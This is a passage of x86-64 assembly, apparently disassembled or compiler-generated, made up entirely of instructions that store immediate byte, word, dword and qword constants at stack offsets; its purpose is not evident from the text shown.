mov qword [rsp + 0xa560], rax
movabs rax, 0x7cfe50c6ca40bc
mov qword [rsp + 0xa568], rax
mov dword [rsp + 0x52ec], 0x1d75
mov eax, 0x69e
mov word [rsp + 0xe00], ax
mov byte [rsp + 0xd4], 0xbf
movabs rax, 0x7b1c2957e120d5
mov qword [rsp + 0xa570], rax
movabs rax, 0x7a875cc022d65d
mov qword [rsp + 0xa578], rax
mov byte [rsp + 0xd5], 0xe
movabs rax, 0x7b21940292db8f
mov qword [rsp + 0xa580], rax
mov eax, 0x503
mov word [rsp + 0xe04], ax
mov dword [rsp + 0x52f0], 0x7968
mov dword [rsp + 0x52f4], 0x7349
mov eax, 0xf9f
mov word [rsp + 0xe08], ax
mov dword [rsp + 0x52f8], 0x8b8f
mov dword [rsp + 0x52fc], 0x1cbb
movabs rax, 0x7684ef2f6ba67f
mov qword [rsp + 0xa588], rax
mov eax, 0x3f8
mov word [rsp + 0xe0c], ax
movabs rax, 0x76a109d6787c2c
mov qword [rsp + 0xa590], rax
mov eax, 0x4c6
mov word [rsp + 0xe10], ax
mov eax, 0x69b
mov word [rsp + 0xe14], ax
mov dword [rsp + 0x5300], 0x2ef8
mov eax, 0xf89
mov word [rsp + 0xe18], ax
movabs rax, 0x78d0a484c77c98
mov qword [rsp + 0xa598], rax
mov eax, 0xdaf
mov word [rsp + 0xe1c], ax
movabs rax, 0x75825c4d2f1dd7
mov qword [rsp + 0xa5a0], rax
mov byte [rsp + 0xd6], 0x57
movabs rax, 0x73f0ab22c333c6
mov qword [rsp + 0xa5a8], rax
mov byte [rsp + 0xd7], 0x75
mov byte [rsp + 0xd8], 0x4e
mov eax, 0xf7d
mov word [rsp + 0xe20], ax
mov byte [rsp + 0xd9], 0xa8
mov dword [rsp + 0x5304], 0x49c8
mov eax, 0x3c5
mov word [rsp + 0xe24], ax
movabs rax, 0x715a1c04ad70ff
mov qword [rsp + 0xa5b0], rax
movabs rax, 0x7019a7da41892e
mov qword [rsp + 0xa5b8], rax
mov dword [rsp + 0x5308], 0x4f1a
mov dword [rsp + 0x530c], 0x7489
movabs rax, 0x710274e9db7c4b
mov qword [rsp + 0xa5c0], rax
mov eax, 0x6cf
mov word [rsp + 0xe28], ax
mov byte [rsp + 0xda], 0xda
movabs rax, 0x77f0093534b714
mov qword [rsp + 0xa5c8], rax
mov eax, 0x999
mov word [rsp + 0xe2c], ax
mov dword [rsp + 0x5310], 0x13bd
mov byte [rsp + 0xdb], 0x10
mov eax, 0xc0e
mov word [rsp + 0xe30], ax
mov eax, 0xa9e
mov word [rsp + 0xe34], ax
mov byte [rsp + 0xdc], 0xa
movabs rax, 0x748138c1c3de1e
mov qword [rsp + 0xa5d0], rax
mov byte [rsp + 0xdd], 0x73
mov dword [rsp + 0x5314], 0x7f46
mov eax, 0xcea
mov word [rsp + 0xe38], ax
movabs rax, 0x7d8d190e1427fa
mov qword [rsp + 0xa5d8], rax
mov byte [rsp + 0xde], 0x9b
mov dword [rsp + 0x5318], 0xc5ed
movabs rax, 0x7e087b7965e9a1
mov qword [rsp + 0xa5e0], rax
mov byte [rsp + 0xdf], 0x2c
movabs rax, 0x7b13927d787389
mov qword [rsp + 0xa5e8], rax
movabs rax, 0x7745636fff8d01
mov qword [rsp + 0xa5f0], rax
mov eax, 0x156
mov word [rsp + 0xe3c], ax
mov dword [rsp + 0x531c], 0x6f7f
movabs rax, 0x72403c8125c5cc
mov qword [rsp + 0xa5f8], rax
mov byte [rsp + 0xe0], 0x57
mov dword [rsp + 0x5320], 0x392b
mov dword [rsp + 0x5324], 0x4fe2
mov eax, 0x38c
mov word [rsp + 0xe40], ax
movabs rax, 0x74a99595b9fb34
mov qword [rsp + 0xa600], rax
movabs rax, 0x7ede5de430f392
mov qword [rsp + 0xa608], rax
movabs rax, 0x7ec8af565a066c
mov qword [rsp + 0xa610], rax
mov eax, 0x39e
mov word [rsp + 0xe44], ax
mov eax, 0x89
mov word [rsp + 0xe48], ax
mov eax, 0x1b
mov word [rsp + 0xe4c], ax
mov eax, 0x75f
mov word [rsp + 0xe50], ax
mov eax, 0x1ed
mov word [rsp + 0xe54], ax
mov dword [rsp + 0x5328], 0xf2f5
mov byte [rsp + 0xe1], 0x7d
mov dword [rsp + 0x532c], 0x3036
mov eax, 0x72c
mov word [rsp + 0xe58], ax
mov dword [rsp + 0x5330], 0x4a1b
mov dword [rsp + 0x5334], 0x52a8
mov byte [rsp + 0xe2], 0xc1
movabs rax, 0x76d06cbc671c56
mov qword [rsp + 0xa618], rax
mov dword [rsp + 0x5338], 0x4d8b
mov eax, 0xe65
mov word [rsp + 0xe5c], ax
mov dword [rsp + 0x533c], 0x70d6
movabs rax, 0x7bd7b8cb2b520a
mov qword [rsp + 0xa620], rax
movabs rax, 0x74a7c99c3f27c4
mov qword [rsp + 0xa628], rax
mov dword [rsp + 0x5340], 0x7ead
mov dword [rsp + 0x5344], 0x9c3
movabs rax, 0x7ac2d6d613dd3c
mov qword [rsp + 0xa630], rax
movabs rax, 0x72077792d2c12f
mov qword [rsp + 0xa638], rax
movabs rax, 0x73758d7d54806f
mov qword [rsp + 0xa640], rax
mov dword [rsp + 0x5348], 0xac18
movabs rax, 0x76d98dd71a33e1
mov qword [rsp + 0xa648], rax
mov dword [rsp + 0x534c], 0x58b6
mov eax, 0x60c
mov word [rsp + 0xe60], ax
mov eax, 0xeb5
mov word [rsp + 0xe64], ax
mov eax, 0xd57
mov word [rsp + 0xe68], ax
mov dword [rsp + 0x5350], 0x1544
movabs rax, 0x738419b8bc43eb
mov qword [rsp + 0xa650], rax
mov dword [rsp + 0x5354], 0x31b6
mov byte [rsp + 0xe3], 2
mov eax, 0x919
mov word [rsp + 0xe6c], ax
mov dword [rsp + 0x5358], 0xe41f
mov eax, 0x3de
mov word [rsp + 0xe70], ax
movabs rax, 0x7d666f9c1eb031
mov qword [rsp + 0xa658], rax
mov byte [rsp + 0xe4], 0x7e
movabs rax, 0x7654edd2dae6d4
mov qword [rsp + 0xa660], rax
mov dword [rsp + 0x535c], 0x8e6b
movabs rax, 0x769bcf07e02111
mov qword [rsp + 0xa668], rax
mov dword [rsp + 0x5360], 0xd35a
mov byte [rsp + 0xe5], 0x42
mov eax, 0x2d9
mov word [rsp + 0xe74], ax
mov byte [rsp + 0xe6], 0x12
mov eax, 0x938
mov word [rsp + 0xe78], ax
mov dword [rsp + 0x5364], 0xaaed
movabs rax, 0x77ec827eac0bed
mov qword [rsp + 0xa670], rax
movabs rax, 0x75f06215dc9203
mov qword [rsp + 0xa678], rax
mov dword [rsp + 0x5368], 0x31d6
mov eax, 0xf0d
mov word [rsp + 0xe7c], ax
movabs rax, 0x785ec2b1c8e229
mov qword [rsp + 0xa680], rax
mov eax, 0x3c9
mov word [rsp + 0xe80], ax
mov byte [rsp + 0xe7], 0x34
mov dword [rsp + 0x536c], 0x5e80
mov eax, 0x9cd
mov word [rsp + 0xe84], ax
mov byte [rsp + 0xe8], 0x9e
mov byte [rsp + 0xe9], 0x7c
mov eax, 0x400
mov word [rsp + 0xe88], ax
mov byte [rsp + 0xea], 0x4c
mov byte [rsp + 0xeb], 0x41
mov eax, 0x4ed
mov word [rsp + 0xe8c], ax
mov eax, 0xc99
mov word [rsp + 0xe90], ax
mov dword [rsp + 0x5370], 0x2c1f
mov dword [rsp + 0x5374], 0x1491
mov eax, 0x676
mov word [rsp + 0xe94], ax
movabs rax, 0x786a3ff50eff96
mov qword [rsp + 0xa688], rax
movabs rax, 0x78f4cbfdaeee87
mov qword [rsp + 0xa690], rax
movabs rax, 0x79b51d4e2a01a8
mov qword [rsp + 0xa698], rax
movabs rax, 0x705da658c4cc86
mov qword [rsp + 0xa6a0], rax
mov dword [rsp + 0x5378], 0x960c
movabs rax, 0x7ae05ac211d410
mov qword [rsp + 0xa6a8], rax
mov dword [rsp + 0x537c], 0x508e
mov eax, 0x70e
mov word [rsp + 0xe98], ax
mov dword [rsp + 0x5380], 0x4e2c
mov eax, 0x320
mov word [rsp + 0xe9c], ax
mov byte [rsp + 0xec], 0x5c
mov eax, 0x584
mov word [rsp + 0xea0], ax
mov byte [rsp + 0xed], 0x2c
movabs rax, 0x74077e025e5dab
mov qword [rsp + 0xa6b0], rax
mov eax, 0x417
mov word [rsp + 0xea4], ax
movabs rax, 0x7cbb44e01f3eb6
mov qword [rsp + 0xa6b8], rax
movabs rax, 0x71138a3fa749c0
mov qword [rsp + 0xa6c0], rax
movabs rax, 0x7ba7a21f1658a4
mov qword [rsp + 0xa6c8], rax
mov dword [rsp + 0x5384], 0x3bab
mov byte [rsp + 0xee], 0x7a
movabs rax, 0x7ee76a89a24c3a
mov qword [rsp + 0xa6d0], rax
mov dword [rsp + 0x5388], 0x5290
movabs rax, 0x778d56d2ea7810
mov qword [rsp + 0xa6d8], rax
mov dword [rsp + 0x538c], 0x7954
movabs rax, 0x7b1db30c254ec6
mov qword [rsp + 0xa6e0], rax
mov dword [rsp + 0x5390], 0x3e67
mov eax, 0x6dd
mov word [rsp + 0xea8], ax
mov dword [rsp + 0x5394], 0x7c0b
mov dword [rsp + 0x5398], 0x6e51
mov byte [rsp + 0xef], 0x4a
mov byte [rsp + 0xf0], 0x4d
mov dword [rsp + 0x539c], 0x7690
mov dword [rsp + 0x53a0], 0xa934
movabs rax, 0x7c65c83b982b11
mov qword [rsp + 0xa6e8], rax
mov eax, 0x340
mov word [rsp + 0xeac], ax
mov eax, 0x682
mov word [rsp + 0xeb0], ax
mov eax, 0x2d4
mov word [rsp + 0xeb4], ax
mov byte [rsp + 0xf1], 0x66
mov eax, 0xb93
mov word [rsp + 0xeb8], ax
mov eax, 0x496
mov word [rsp + 0xebc], ax
mov dword [rsp + 0x53a4], 0x4eb1
mov eax, 0xd6d
mov word [rsp + 0xec0], ax
mov dword [rsp + 0x53a8], 0x2242
movabs rax, 0x708fe2a7137e9c
mov qword [rsp + 0xa6f0], rax
movabs rax, 0x7124fbf9db8fb6
mov qword [rsp + 0xa6f8], rax
mov dword [rsp + 0x53ac], 0x1fd9
mov eax, 0x2d6
mov word [rsp + 0xec4], ax
mov byte [rsp + 0xf2], 0x3f
mov dword [rsp + 0x53b0], 0x2c7f
mov byte [rsp + 0xf3], 0x74
mov byte [rsp + 0xf4], 0x4b
movabs rax, 0x78422882807096
mov qword [rsp + 0xa700], rax
mov dword [rsp + 0x53b4], 0x1221
mov dword [rsp + 0x53b8], 0xfd93
movabs rax, 0x7999a4000cd7aa
mov qword [rsp + 0xa708], rax
mov dword [rsp + 0x53bc], 0x79ff
mov dword [rsp + 0x53c0], 0xb636
mov dword [rsp + 0x53c4], 0x2817
mov byte [rsp + 0xf5], 0xfc
mov dword [rsp + 0x53c8], 0x667a
mov eax, 0x6bc
mov word [rsp + 0xec8], ax
movabs rax, 0x744cb3b0d7a136
mov qword [rsp + 0xa710], rax
movabs rax, 0x713186dbdb5964
mov qword [rsp + 0xa718], rax
mov dword [rsp + 0x53cc], 0xcdee
mov dword [rsp + 0x53d0], 0x6558
mov dword [rsp + 0x53d4], 0x2005
mov byte [rsp + 0xf6], 0x1d
mov eax, 0x31a
mov word [rsp + 0xecc], ax
movabs rax, 0x713d80f838910c
mov qword [rsp + 0xa720], rax
movabs rax, 0x71a0bc874327f0
mov qword [rsp + 0xa728], rax
movabs rax, 0x70a340ab32ed39
mov qword [rsp + 0xa730], rax
mov eax, 0xd89
mov word [rsp + 0xed0], ax
movabs rax, 0x76c7fa3a301c37
mov qword [rsp + 0xa738], rax
mov byte [rsp + 0xf7], 0x31
mov eax, 0x113
mov word [rsp + 0xed4], ax
movabs rax, 0x74bdeaa9cabc78
mov qword [rsp + 0xa740], rax
movabs rax, 0x76868884fbafb7
mov qword [rsp + 0xa748], rax
mov dword [rsp + 0x53d8], 0x748d
mov eax, 0x718
mov word [rsp + 0xed8], ax
movabs rax, 0x7e2293d2b4c164
mov qword [rsp + 0xa750], rax
mov byte [rsp + 0xf8], 0xf3
mov dword [rsp + 0x53dc], 0x4851
movabs rax, 0x78f2f425eaac61
mov qword [rsp + 0xa758], rax
mov eax, 0xd1
mov word [rsp + 0xedc], ax
mov eax, 0x12
mov word [rsp + 0xee0], ax
mov eax, 0xedc
mov word [rsp + 0xee4], ax
mov byte [rsp + 0xf9], 8
mov eax, 0xc38
mov word [rsp + 0xee8], ax
movabs rax, 0x77aa991cccbb39
mov qword [rsp + 0xa760], rax
mov byte [rsp + 0xfa], 0xcf
mov dword [rsp + 0x53e0], 0x4313
mov eax, 0x14a
mov word [rsp + 0xeec], ax
movabs rax, 0x7a488fae2961eb
mov qword [rsp + 0xa768], rax
movabs rax, 0x7c80535aa385bb
mov qword [rsp + 0xa770], rax
mov dword [rsp + 0x53e4], 0x5115
mov dword [rsp + 0x53e8], 0x6fd9
mov eax, 0x3c8
mov word [rsp + 0xef0], ax
mov byte [rsp + 0xfb], 0x42
mov dword [rsp + 0x53ec], 0xdf9
movabs rax, 0x75ff48b53ab659
mov qword [rsp + 0xa778], rax
movabs rax, 0x73c92052608248
mov qword [rsp + 0xa780], rax
mov dword [rsp + 0x53f0], 0xc7f7
mov byte [rsp + 0xfc], 0x6b
mov dword [rsp + 0x53f4], 0x2ba3
mov dword [rsp + 0x53f8], 0x3d6a
movabs rax, 0x7c46fc0e35f76f
mov qword [rsp + 0xa788], rax
mov dword [rsp + 0x53fc], 0x4660
mov eax, 0x940
mov word [rsp + 0xef4], ax
mov eax, 0x147
mov word [rsp + 0xef8], ax
mov eax, 0x8ff
mov word [rsp + 0xefc], ax
mov dword [rsp + 0x5400], 0x63fe
mov dword [rsp + 0x5404], 0x8d79
mov byte [rsp + 0xfd], 0x29
movabs rax, 0x7a655060c103bd
mov qword [rsp + 0xa790], rax
mov dword [rsp + 0x5408], 0x689a
mov eax, 0x733
mov word [rsp + 0xf00], ax
mov eax, 0x741
mov word [rsp + 0xf04], ax
mov dword [rsp + 0x540c], 0x2527
mov byte [rsp + 0xfe], 0x17
mov dword [rsp + 0x5410], 0xcba1
mov byte [rsp + 0xff], 0x82
mov byte [rsp + 0x100], 0xce
mov byte [rsp + 0x101], 0x1a
mov eax, 0x56
mov word [rsp + 0xf08], ax
mov eax, 0x5c9
mov word [rsp + 0xf0c], ax
mov byte [rsp + 0x102], 0xc5
mov eax, 0xa6d
mov word [rsp + 0xf10], ax
mov dword [rsp + 0x5414], 0x7e6e
movabs rax, 0x7415cb37dab369
mov qword [rsp + 0xa798], rax
mov dword [rsp + 0x5418], 0x385e
movabs rax, 0x707da9ad87f2bc
mov qword [rsp + 0xa7a0], rax
mov dword [rsp + 0x541c], 0x69ea
movabs rax, 0x75a9ca0be71b40
mov qword [rsp + 0xa7a8], rax
movabs rax, 0x7ab4d0160b8e4a
mov qword [rsp + 0xa7b0], rax
movabs rax, 0x7de71e00007f30
mov qword [rsp + 0xa7b8], rax
mov byte [rsp + 0x103], 0x51
mov eax, 0x74d
mov word [rsp + 0xf14], ax
mov byte [rsp + 0x104], 0x4c
movabs rax, 0x7c743be0c2518c
mov qword [rsp + 0xa7c0], rax
mov byte [rsp + 0x105], 0x40
movabs rax, 0x7d998d08bc39ad
mov qword [rsp + 0xa7c8], rax
movabs rax, 0x78421481eb442b
mov qword [rsp + 0xa7d0], rax
mov dword [rsp + 0x5420], 0xab1
mov dword [rsp + 0x5424], 0x51e2
mov byte [rsp + 0x106], 0x58
mov eax, 0x556
mov word [rsp + 0xf18], ax
mov dword [rsp + 0x5428], 0x42ac
movabs rax, 0x71400edc758123
mov qword [rsp + 0xa7d8], rax
mov byte [rsp + 0x107], 0xa5
movabs rax, 0x7c72886cdb3b33
mov qword [rsp + 0xa7e0], rax
mov byte [rsp + 0x108], 0x1e
movabs rax, 0x75e35524ece42d
mov qword [rsp + 0xa7e8], rax
mov byte [rsp + 0x109], 3
mov byte [rsp + 0x10a], 0x6f
mov eax, 0x366
mov word [rsp + 0xf1c], ax
mov byte [rsp + 0x10b], 0xc9
movabs rax, 0x787105437235d1
mov qword [rsp + 0xa7f0], rax
mov eax, 0x2e0
mov word [rsp + 0xf20], ax
mov dword [rsp + 0x542c], 0x8ee0
mov byte [rsp + 0x10c], 0x47
mov dword [rsp + 0x5430], 0x6d25
movabs rax, 0x70dc6ac7684c28
mov qword [rsp + 0xa7f8], rax
mov byte [rsp + 0x10d], 0x30
mov byte [rsp + 0x10e], 0xb9
mov dword [rsp + 0x5434], 0x465e
movabs rax, 0x7460e0420375b9
mov qword [rsp + 0xa800], rax
mov byte [rsp + 0x10f], 0xf3
mov dword [rsp + 0x5438], 0x178c
movabs rax, 0x7ecf1106f1d532
mov qword [rsp + 0xa808], rax
movabs rax, 0x7190059c64b488
mov qword [rsp + 0xa810], rax
mov eax, 0x209
mov word [rsp + 0xf24], ax
movabs rax, 0x7b0d448173d6d8
mov qword [rsp + 0xa818], rax
mov eax, 0x6cf
mov word [rsp + 0xf28], ax
mov eax, 0x605
mov word [rsp + 0xf2c], ax
mov byte [rsp + 0x110], 0xd2
mov byte [rsp + 0x111], 0x1c
movabs rax, 0x7be5e94084bc27
mov qword [rsp + 0xa820], rax
movabs rax, 0x7223e22f78ab79
mov qword [rsp + 0xa828], rax
mov dword [rsp + 0x543c], 0x3fab
mov byte [rsp + 0x112], 0x55
mov byte [rsp + 0x113], 0x84
movabs rax, 0x79ca4d60019902
mov qword [rsp + 0xa830], rax
movabs rax, 0x780d89bfe62331
mov qword [rsp + 0xa838], rax
mov dword [rsp + 0x5440], 0x2fb3
mov byte [rsp + 0x114], 0x38
mov eax, 0x39b
mov word [rsp + 0xf30], ax
mov byte [rsp + 0x115], 0x8e
mov dword [rsp + 0x5444], 0xda34
mov byte [rsp + 0x116], 0x11
mov byte [rsp + 0x117], 0x6e
mov dword [rsp + 0x5448], 0xe17b
movabs rax, 0x7e94bf3251bf98
mov qword [rsp + 0xa840], rax
movabs rax, 0x73f06488407a28
mov qword [rsp + 0xa848], rax
movabs rax, 0x74189cb1f8a7b4
mov qword [rsp + 0xa850], rax
movabs rax, 0x777a2464304675
mov qword [rsp + 0xa858], rax
mov eax, 0x8b0
mov word [rsp + 0xf34], ax
mov byte [rsp + 0x118], 0x60
movabs rax, 0x715e9edcc06289
mov qword [rsp + 0xa860], rax
movabs rax, 0x7341548340413e
mov qword [rsp + 0xa868], rax
movabs rax, 0x70d354b402b9b7
mov qword [rsp + 0xa870], rax
movabs rax, 0x7c08142538f062
mov qword [rsp + 0xa878], rax
movabs rax, 0x79c5432bde792b
mov qword [rsp + 0xa880], rax
mov dword [rsp + 0x544c], 0x4d26
mov eax, 0x2ed
mov word [rsp + 0xf38], ax
movabs rax, 0x7bd8a0f3d17718
mov qword [rsp + 0xa888], rax
mov dword [rsp + 0x5450], 0x1f84
movabs rax, 0x75261bd206642f
mov qword [rsp + 0xa890], rax
mov eax, 0xc9b
mov word [rsp + 0xf3c], ax
mov eax, 0x2ff
mov word [rsp + 0xf40], ax
movabs rax, 0x708c580028124e
mov qword [rsp + 0xa898], rax
mov eax, 0x97b
mov word [rsp + 0xf44], ax
mov dword [rsp + 0x5454], 0x596a
mov byte [rsp + 0x119], 0x7a
mov eax, 0xb8a
mov word [rsp + 0xf48], ax
movabs rax, 0x7548c6e07a7be6
mov qword [rsp + 0xa8a0], rax
mov byte [rsp + 0x11a], 0xc4
movabs rax, 0x77cad1e18b76d1
mov qword [rsp + 0xa8a8], rax
movabs rax, 0x7b9b2d466c2c6d
mov qword [rsp + 0xa8b0], rax
movabs rax, 0x71afd29c110959
mov qword [rsp + 0xa8b8], rax
mov eax, 0x22d
mov word [rsp + 0xf4c], ax
mov byte [rsp + 0x11b], 0x33
mov dword [rsp + 0x5458], 0xf782
mov eax, 0x93a
mov word [rsp + 0xf50], ax
movabs rax, 0x77cc8abeb66e70
mov qword [rsp + 0xa8c0], rax
movabs rax, 0x79e3050a698f5c
mov qword [rsp + 0xa8c8], rax
mov dword [rsp + 0x545c], 0x1baf
mov dword [rsp + 0x5460], 0x785b
movabs rax, 0x7bc1cb5a90951a
mov qword [rsp + 0xa8d0], rax
mov dword [rsp + 0x5464], 0x1ac1
movabs rax, 0x70aa9b6a89d8a9
mov qword [rsp + 0xa8d8], rax
mov dword [rsp + 0x5468], 0x918
movabs rax, 0x7ba63d2c225ba5
mov qword [rsp + 0xa8e0], rax
movabs rax, 0x717db9feb98648
mov qword [rsp + 0xa8e8], rax
movabs rax, 0x7247a0173fc306
mov qword [rsp + 0xa8f0], rax
mov dword [rsp + 0x546c], 0x3014
movabs rax, 0x71760836a6a873
mov qword [rsp + 0xa8f8], rax
mov eax, 0xcd0
mov word [rsp + 0xf54], ax
mov dword [rsp + 0x5470], 0x4407
movabs rax, 0x77c19f2e243859
mov qword [rsp + 0xa900], rax
movabs rax, 0x7bf5831625c351
mov qword [rsp + 0xa908], rax
mov dword [rsp + 0x5474], 0x5f37
movabs rax, 0x7d504eb99b4384
mov qword [rsp + 0xa910], rax
movabs rax, 0x76fd596d146b53
mov qword [rsp + 0xa918], rax
mov dword [rsp + 0x5478], 0x6394
mov eax, 0x78d
mov word [rsp + 0xf58], ax
mov byte [rsp + 0x11c], 0x1d
mov byte [rsp + 0x11d], 0x2c
mov eax, 0x791
mov word [rsp + 0xf5c], ax
movabs rax, 0x795988395d997a
mov qword [rsp + 0xa920], rax
mov dword [rsp + 0x547c], 0xd762
mov byte [rsp + 0x11e], 0x1a
movabs rax, 0x755c42cb23c4dd
mov qword [rsp + 0xa928], rax
movabs rax, 0x729c69ea8088d6
mov qword [rsp + 0xa930], rax
mov byte [rsp + 0x11f], 0xd8
movabs rax, 0x77107d4c5bcbb0
mov qword [rsp + 0xa938], rax
movabs rax, 0x745dc61dbae296
mov qword [rsp + 0xa940], rax
mov dword [rsp + 0x5480], 0xd2
mov byte [rsp + 0x120], 0x65
mov dword [rsp + 0x5484], 0x62a2
movabs rax, 0x74b5bb75cde813
mov qword [rsp + 0xa948], rax
movabs rax, 0x73a668bb304f3f
mov qword [rsp + 0xa950], rax
mov dword [rsp + 0x5488], 0x1aa3
mov dword [rsp + 0x548c], 0xa2c4
mov dword [rsp + 0x5490], 0x1c0a
movabs rax, 0x767064b9016c81
mov qword [rsp + 0xa958], rax
mov byte [rsp + 0x121], 0x11
movabs rax, 0x72fb06339a1fb5
mov qword [rsp + 0xa960], rax
mov dword [rsp + 0x5494], 0x616d
mov byte [rsp + 0x122], 0x12
mov dword [rsp + 0x5498], 0x57f9
movabs rax, 0x7659b6079fd788
mov qword [rsp + 0xa968], rax
movabs rax, 0x75456f8186be54
mov qword [rsp + 0xa970], rax
movabs rax, 0x717f435502050f
mov qword [rsp + 0xa978], rax
mov byte [rsp + 0x123], 0x9a
movabs rax, 0x79f6c7ddb0c2ee
mov qword [rsp + 0xa980], rax
movabs rax, 0x78287f916a7284
mov qword [rsp + 0xa988], rax
mov byte [rsp + 0x124], 0x7c
mov dword [rsp + 0x549c], 0x7dc8
mov dword [rsp + 0x54a0], 0x68a1
mov eax, 0x26
mov word [rsp + 0xf60], ax
mov eax, 0x157
mov word [rsp + 0xf64], ax
movabs rax, 0x79de8aa46bbff5
mov qword [rsp + 0xa990], rax
mov eax, 0xbf7
mov word [rsp + 0xf68], ax
mov dword [rsp + 0x54a4], 0xbf74
mov eax, 0xf89
mov word [rsp + 0xf6c], ax
movabs rax, 0x7345c3126f98a5
mov qword [rsp + 0xa998], rax
movabs rax, 0x74322a1243daea
mov qword [rsp + 0xa9a0], rax
mov eax, 0x678
mov word [rsp + 0xf70], ax
mov eax, 0xb3d
mov word [rsp + 0xf74], ax
movabs rax, 0x72d8a5200c8873
mov qword [rsp + 0xa9a8], rax
movabs rax, 0x7aada0c55217c9
mov qword [rsp + 0xa9b0], rax
movabs rax, 0x7532f455713a86
mov qword [rsp + 0xa9b8], rax
mov byte [rsp + 0x125], 0x44
movabs rax, 0x70d25dcdba70ab
mov qword [rsp + 0xa9c0], rax
movabs rax, 0x7a8cb0a7034b10
mov qword [rsp + 0xa9c8], rax
movabs rax, 0x7ded13b99d175a
mov qword [rsp + 0xa9d0], rax
mov dword [rsp + 0x54a8], 0x46b1
mov eax, 0x14c
mov word [rsp + 0xf78], ax
mov dword [rsp + 0x54ac], 0x6bd
movabs rax, 0x774dea0973d1d4
mov qword [rsp + 0xa9d8], rax
movabs rax, 0x73ef23f40968ee
mov qword [rsp + 0xa9e0], rax
mov dword [rsp + 0x54b0], 0x2f30
mov byte [rsp + 0x126], 0x73
movabs rax, 0x73a09b9353f217
mov qword [rsp + 0xa9e8], rax
mov dword [rsp + 0x54b4], 0x1bab
mov byte [rsp + 0x127], 0x19
mov byte [rsp + 0x128], 0x4b
mov dword [rsp + 0x54b8], 0x1d6c
movabs rax, 0x74a4ab6f7b818d
mov qword [rsp + 0xa9f0], rax
mov eax, 0x7eb
mov word [rsp + 0xf7c], ax
mov dword [rsp + 0x54bc], 0xf3ff
mov byte [rsp + 0x129], 2
mov dword [rsp + 0x54c0], 0x1157
movabs rax, 0x7efc76ae2d05ae
mov qword [rsp + 0xa9f8], rax
mov byte [rsp + 0x12a], 0x32
mov dword [rsp + 0x54c4], 0x5dfa
mov eax, 0x8e5
mov word [rsp + 0xf80], ax
mov dword [rsp + 0x54c8], 0x2e6
mov dword [rsp + 0x54cc], 0x6005
mov dword [rsp + 0x54d0], 0x4d3f
mov byte [rsp + 0x12b], 0x77
mov byte [rsp + 0x12c], 0x55
movabs rax, 0x7107036ec602d4
mov qword [rsp + 0xaa00], rax
movabs rax, 0x76c625933a8fd6
mov qword [rsp + 0xaa08], rax
movabs rax, 0x766d65c8040ac2
mov qword [rsp + 0xaa10], rax
mov eax, 0x1a7
mov word [rsp + 0xf84], ax
mov byte [rsp + 0x12d], 0x43
mov eax, 0x111
mov word [rsp + 0xf88], ax
movabs rax, 0x7e509bd255137a
mov qword [rsp + 0xaa18], rax
mov eax, 0x5bd
mov word [rsp + 0xf8c], ax
movabs rax, 0x7b5e0217fee909
mov qword [rsp + 0xaa20], rax
movabs rax, 0x76faa19fb106bd
mov qword [rsp + 0xaa28], rax
mov byte [rsp + 0x12e], 0xe2
movabs rax, 0x7a8b61c96151f6
mov qword [rsp + 0xaa30], rax
mov dword [rsp + 0x54d4], 0x368d
mov dword [rsp + 0x54d8], 0x8f7
mov eax, 0x403
mov word [rsp + 0xf90], ax
mov eax, 0x1d0
mov word [rsp + 0xf94], ax
mov eax, 0x2d7
mov word [rsp + 0xf98], ax
mov eax, 0x30e
mov word [rsp + 0xf9c], ax
mov dword [rsp + 0x54dc], 0x1ae5
mov eax, 0x45b
mov word [rsp + 0xfa0], ax
mov byte [rsp + 0x12f], 0xdd
mov dword [rsp + 0x54e0], 0x71b3
mov dword [rsp + 0x54e4], 0xced3
mov byte [rsp + 0x130], 0x7c
movabs rax, 0x75bbd7c32f919d
mov qword [rsp + 0xaa38], rax
movabs rax, 0x78baf7a3fffc9f
mov qword [rsp + 0xaa40], rax
mov byte [rsp + 0x131], 0x2e
mov byte [rsp + 0x132], 0x35
mov byte [rsp + 0x133], 0x98
mov eax, 0xc38
mov word [rsp + 0xfa4], ax
mov dword [rsp + 0x54e8], 0x7d9d
movabs rax, 0x7caded27bac853
mov qword [rsp + 0xaa48], rax
mov eax, 0x85d
mov word [rsp + 0xfa8], ax
movabs rax, 0x734e8535902b7a
mov qword [rsp + 0xaa50], rax
mov byte [rsp + 0x134], 0x78
mov dword [rsp + 0x54ec], 0x7d70
movabs rax, 0x7e9ec4e0ce7e06
mov qword [rsp + 0xaa58], rax
mov eax, 0x367
mov word [rsp + 0xfac], ax
movabs rax, 0x7229b005ab3f39
mov qword [rsp + 0xaa60], rax
mov dword [rsp + 0x54f0], 0xc138
movabs rax, 0x7126a1fe39e4fa
mov qword [rsp + 0xaa68], rax
mov dword [rsp + 0x54f4], 0x410c
mov byte [rsp + 0x135], 0xdb
mov eax, 0x56a
mov word [rsp + 0xfb0], ax
movabs rax, 0x71ca64173237c0
mov qword [rsp + 0xaa70], rax
movabs rax, 0x7ec30eee71cd8b
mov qword [rsp + 0xaa78], rax
mov byte [rsp + 0x136], 0x27
mov byte [rsp + 0x137], 0x24
mov eax, 0x119
mov word [rsp + 0xfb4], ax
mov eax, 0x229
mov word [rsp + 0xfb8], ax
mov byte [rsp + 0x138], 0x32
mov byte [rsp + 0x139], 0x59
movabs rax, 0x777510668e9c65
mov qword [rsp + 0xaa80], rax
movabs rax, 0x7262247193cce7
mov qword [rsp + 0xaa88], rax
mov eax, 0x6e3
mov word [rsp + 0xfbc], ax
mov eax, 0xde7
mov word [rsp + 0xfc0], ax
movabs rax, 0x7b88510bb0c4b2
mov qword [rsp + 0xaa90], rax
mov dword [rsp + 0x54f8], 0x273d
movabs rax, 0x7d4ba2f55cf2b1
mov qword [rsp + 0xaa98], rax
movabs rax, 0x741af2dc4bc47a
mov qword [rsp + 0xaaa0], rax
mov byte [rsp + 0x13a], 0x18
mov dword [rsp + 0x54fc], 0xdb1
mov eax, 0x1fb
mov word [rsp + 0xfc4], ax
mov eax, 0x473
mov word [rsp + 0xfc8], ax
mov eax, 0x2dd
mov word [rsp + 0xfcc], ax
mov byte [rsp + 0x13b], 0x63
mov eax, 0x36c
mov word [rsp + 0xfd0], ax
movabs rax, 0x74d37e49666830
mov qword [rsp + 0xaaa8], rax
mov byte [rsp + 0x13c], 0xd
mov eax, 0x79c
mov word [rsp + 0xfd4], ax
movabs rax, 0x716710f046595e
mov qword [rsp + 0xaab0], rax
mov eax, 0x338
mov word [rsp + 0xfd8], ax
movabs rax, 0x7a2c03fedf590b
mov qword [rsp + 0xaab8], rax
movabs rax, 0x74f782bb616944
mov qword [rsp + 0xaac0], rax
movabs rax, 0x743c49fe5b920c
